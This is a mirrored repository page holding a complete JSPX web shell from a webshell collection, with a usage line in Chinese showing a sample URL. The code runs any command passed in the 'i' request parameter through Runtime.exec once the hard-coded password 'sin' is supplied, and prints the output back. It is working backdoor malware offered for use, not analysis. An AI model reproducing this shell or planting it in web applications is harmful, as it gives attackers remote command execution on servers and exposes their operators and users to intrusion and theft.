mirror of
https://github.com/tennc/webshell
synced 2024-11-25 04:30:17 +00:00
1b499ce7bb
from wooyun.org 使用说明:http://xx.xx.xx/jw.jspx?pwd=sin&i=ls 有回显,带密码
15 lines
564 B
Text
15 lines
564 B
Text
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2">
|
|
<jsp:directive.page contentType="text/html" pageEncoding="UTF-8" />
|
|
<jsp:scriptlet>
|
|
if("sin".equals(request.getParameter("pwd"))){
|
|
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
|
|
int a = -1;
|
|
byte[] b = new byte[2048];
|
|
out.print("<pre>");
|
|
while((a=in.read(b))!=-1){
|
|
out.println(new String(b));
|
|
}
|
|
out.print("</pre>");
|
|
}
|
|
</jsp:scriptlet>
|
|
</jsp:root>
|